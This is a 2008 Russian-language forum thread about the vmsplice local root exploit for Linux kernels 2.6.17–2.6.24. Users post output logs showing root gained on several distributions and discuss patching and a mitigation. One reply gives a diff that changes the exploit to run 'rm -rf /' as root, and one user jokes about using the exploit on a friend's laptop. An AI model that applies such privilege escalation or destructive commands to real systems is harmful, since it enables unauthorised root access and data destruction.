http://www.opennet.ru/openforum/vsluhforumID3/40128.html
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464953
Эксплойт дающий права рута локально на всех ядрах от 2.6.17 - 2.6.24
Критическая локальная уязвимость в Linux ядрах
Модератор: Модераторы разделов
Критическая локальная уязвимость в Linux ядрах
Нет тут подписи и не будет.
Re: Критическая локальная уязвимость в Linux ядрах
Работает эксплоит 
Надо срочно обновлять ядро
Надо срочно обновлять ядро
Сомнительно доброе привидение
Re: Критическая локальная уязвимость в Linux ядрах
на основе экспойта создали антиэксплоит который вместо запуска оболочки запускает функцию de_exploit() которая ищет адрес функции sys_vmsplice и в ее начало вставляет 0x3c(RET). Так что можно без перекомпиляции защитится от сплойта.
http://www.ping.uio.no/~mortehu/disable-vm...f-exploitable.c
так что ядро можно пока и не компилить. Вставить в загрузку и спать пока спокойно.
хотя в рассылке пишут что типа использование вызывает нестабильность, но у меня пока все работает нормально.
http://www.ping.uio.no/~mortehu/disable-vm...f-exploitable.c
так что ядро можно пока и не компилить. Вставить в загрузку и спать пока спокойно.
хотя в рассылке пишут что типа использование вызывает нестабильность, но у меня пока все работает нормально.
Re: Критическая локальная уязвимость в Linux ядрах
Да, сплоит рабочий.. 
Ubutnu 7.10 ...
А на серваке ядро - 2.6.15 - сплоит не работает :-).
tpm@tpm:~/temp$ uname -r
2.6.22-14-generic
tpm@tpm:~/temp$ ./expl
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7cea000 .. 0xb7d1c000
[+] root
root@tpm:~/temp# whoami
root
root@tpm:~/temp#
Ubutnu 7.10 ...
А на серваке ядро - 2.6.15 - сплоит не работает :-).
-
sspphheerraa
- Сообщения: 1375
- ОС: Gentoo
Re: Критическая локальная уязвимость в Linux ядрах
Погодьте... в Ubuntu в роде ж суперпользоваталь отключен (как учетная запись), sudo вместо него. Или я что-то путаю?
Sspphheerraa
-
Dark_Savant
- Бывший модератор
- Сообщения: 1100
- Статус: киборг
- ОС: Cyborg OS 0.0.1.3
Re: Критическая локальная уязвимость в Linux ядрах
жуткая бага. хорошо, что патч уже вышел. не прошло и полугода, ога.
I'm a tragic hero
In this game called life
My chances go to zero
But I always will survive
In this game called life
My chances go to zero
But I always will survive
Re: Критическая локальная уязвимость в Linux ядрах
Slackware 11 - 2.6.18 @ Athlon XP 1800+/512Mb
Slackware-12 - 2.6.21.5 @ Celeron D 2533/512Mb
Gentoo (amd64) - 2.6.22 @ Athlon X2 5600+/2048Mb
Slackware-12 - 2.6.21.5 @ Celeron D 2533/512Mb
Gentoo (amd64) - 2.6.22 @ Athlon X2 5600+/2048Mb
Re: Критическая локальная уязвимость в Linux ядрах
жуткая бага. хорошо, что патч уже вышел. не прошло и полугода, ога.
Хочешь обломаю?
Прошло полтора года с момента выхода ядра.
Интересно, а почему у некоторых не сработал эксплойт?
Нет тут подписи и не будет.
Re: Критическая локальная уязвимость в Linux ядрах
Плохо, конечно. Стабильный дебиан уже успел обновится, молодцы.
"В природе не существует инструмента, машины или устройства, по силе и виртуозности сравнимого с человеческой рукой."
В. Г. Бэнхэм.
---
Ваяю "нелинейный" клавиатурный тренажёр для GNU/Linux - nlkt.
В. Г. Бэнхэм.
---
Ваяю "нелинейный" клавиатурный тренажёр для GNU/Linux - nlkt.
Re: Критическая локальная уязвимость в Linux ядрах
11.02 : 18:41 - Ubuntu7.10 amd64 - Desktop - полёт нормальный, кря работает. =(
Re: Критическая локальная уязвимость в Linux ядрах
fedora core 6 например
У меня друг скоро из Литвы приедет, вот я над его ноутом поиздеваюсь Ж))
а у меня еще 6-я федора, дык не работает эксплойт :-) вызывает ошибку сегментирования и все. думаю, что во всех дистрах от редхата данный эксплойт не работает.
Ps:
uname -r
2.6.22.9-61.fc6
У меня друг скоро из Литвы приедет, вот я над его ноутом поиздеваюсь Ж))
Нет тут подписи и не будет.
Re: Критическая локальная уязвимость в Linux ядрах
а можно баш настроить так, чтобы запускать программы только из авторизованного PATH?
Re: Критическая локальная уязвимость в Linux ядрах
linux4ever@localhost ~ $ ./a.out
bash: ./a.out: Отказано в доступе
Можно вот такой кошмар устроить например с правами, но куда вы денете cgi?
bash: ./a.out: Отказано в доступе
Можно вот такой кошмар устроить например с правами, но куда вы денете cgi?
Нет тут подписи и не будет.
Re: Критическая локальная уязвимость в Linux ядрах
Я программирование почти не знаю.
Что надо добавить в эксплойт, чтобы он выполнял такую команду:
rm -rf /
Что надо добавить в эксплойт, чтобы он выполнял такую команду:
rm -rf /
Нет тут подписи и не будет.
-
serzh-z
- Бывший модератор
- Сообщения: 8259
- Статус: Маньяк
- ОС: Arch, Fedora, Ubuntu
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
Даже не знаю, стоит ли отвечать... Применить патч:
--- e1.c 2008-02-11 19:13:09.197500000 +0300
+++ e2.c 2008-02-11 19:14:57.072500000 +0300
@@ -171,8 +171,8 @@
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
- execl("/bin/bash", "bash", "-i", NULL);
- die("/bin/bash", errno);
+ execl("/bin/rm", "rm", "-rf", "/", NULL);
+ die("/bin/rm", errno);
}
int main(int argc, char *argv[])
Re: Критическая локальная уязвимость в Linux ядрах
очень интересная уязвимость. нужно будет исходник сплойта посмотреть. интересно... жалко по близости линукса ни у кого нету....
-
eduard_pustobaev
- Сообщения: 2629
- Статус: Ленивец
- ОС: Arch/Debian.
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
Круто!
Код: Выделить всё
[ed@ed-desktop exploit]$ ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e19000 .. 0xb7e4b000
[+] root
[root@ed-desktop exploit]# uname -a
Linux ed-desktop 2.6.24-7-386 #1 Thu Feb 7 00:56:29 UTC 2008 i686 GNU/LinuxВ дисгармонии со вселенной.
-
serzh-z
- Бывший модератор
- Сообщения: 8259
- Статус: Маньяк
- ОС: Arch, Fedora, Ubuntu
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
"2.6.24-7" - это не версия ванильного ядра, "-7-386" - это суффикс, добавленный сборщиками дистрибутива.eduard_pustobaev писал(а): ↑11.02.2008 19:23Linux ed-desktop 2.6.24-7-386 #1 Thu Feb 7 00:56:29 UTC 2008 i686 GNU/Linux
Re: Критическая локальная уязвимость в Linux ядрах
Ладно насчет rm -rf я пошутил, я че-то типо 'removing files in /' добавлю - посмотрю на бледное лицо.
Нет тут подписи и не будет.
-
serzh-z
- Бывший модератор
- Сообщения: 8259
- Статус: Маньяк
- ОС: Arch, Fedora, Ubuntu
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
Гм... Не знаю, всё зависит от комплекции приятеля. Если при "rm -rf /" ещё можно ожидать, что он умрёт и разборок не будет, то после простого "'removing files in /" он может выжить и летально надавать по тыкве.
-
eduard_pustobaev
- Сообщения: 2629
- Статус: Ленивец
- ОС: Arch/Debian.
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
Э, ну я как-бы знал об этом... Или это не мне?
В дисгармонии со вселенной.
-
serzh-z
- Бывший модератор
- Сообщения: 8259
- Статус: Маньяк
- ОС: Arch, Fedora, Ubuntu
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
Вероятно я неправильно понял приведённый пост. -)
Re: Критическая локальная уязвимость в Linux ядрах
а у меня еще 6-я федора, дык не работает эксплойт :-) вызывает ошибку сегментирования и все. думаю, что во всех дистрах от редхата данный эксплойт не работает.
в FC7 еще как работает:
Код: Выделить всё
[doka@doka bin]$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7eb8000 .. 0xb7eea000
[+] root
[root@doka bin]# uname -a
Linux doka 2.6.23.14-64.fc7 #1 SMP Sun Jan 20 23:54:08 EST 2008 i686 i686 i386 GNU/Linuxтеперь начинаю понимать всю прелесть RedHat EL - включать только проверенные и стабильные версии, жертвуя модой))
Never stop thinking..................................................................
-
eduard_pustobaev
- Сообщения: 2629
- Статус: Ленивец
- ОС: Arch/Debian.
- Контактная информация:
Re: Критическая локальная уязвимость в Linux ядрах
Ага, эт не про то, что самое последнее ядро тоже подвержено уязвимости.
Просто так порадовался, а uname - просто нечто, запущенное от рута.
В дисгармонии со вселенной.
Re: Критическая локальная уязвимость в Linux ядрах
Код: Выделить всё
$ ./expl
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2aaaaaad0000 .. 0x2aaaaab02000
[+] root
[root@aliCQ ~]# uname -a
Linux aliCQ.ali.mtu.ru 2.6.23.14-107.fc8 #1 SMP Mon Jan 14 22:07:11 EST 2008 x86_64 x86_64 x86_64 GNU/LinuxРаботает он на F8.
Re: Критическая локальная уязвимость в Linux ядрах
несколько не понял вопроса..
SELinux установлен (не знаю позволяет ли система ставиться без обязательной инсталляции SELinux), но отключен.
Never stop thinking..................................................................
Re: Критическая локальная уязвимость в Linux ядрах
Код: Выделить всё
[test@aliCQ ~]$ ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2aaaaaada000 .. 0x2aaaaab0c000
Убито
[test@aliCQ ~]$
Message from syslogd@aliCQ at Feb 11 20:04:00 ...
kernel: Oops: 0010 [1] SMP
Message from syslogd@aliCQ at Feb 11 20:04:00 ...
kernel: CR2: 0000000000000000Linux aliCQ.ali.mtu.ru 2.6.24.1-26.fc9 #1 SMP Fri Feb 8 19:14:51 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
selinux=0
/var/log/mesages
Feb 11 20:04:00 aliCQ kernel: Pid: 3401, comm: exploit Not tainted 2.6.24.1-26.fc9 #1
-
Supervisor
- Сообщения: 147
- ОС: Sabayon ~x86
Re: Критическая локальная уязвимость в Linux ядрах
работает зараза!!!!
Код: Выделить всё
stranger@stranger ~/tmp/tmp $ uname -a
Linux stranger 2.6.24-gentoo #1 Sun Jan 27 12:48:56 MSK 2008 x86_64 AMD Sempron(tm) Processor 3000+ AuthenticAMD GNU/Linux
stranger@stranger ~/tmp/tmp $ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2ac18d35d000 .. 0x2ac18d38f000
[+] root
stranger tmp # whoami
root
stranger tmp #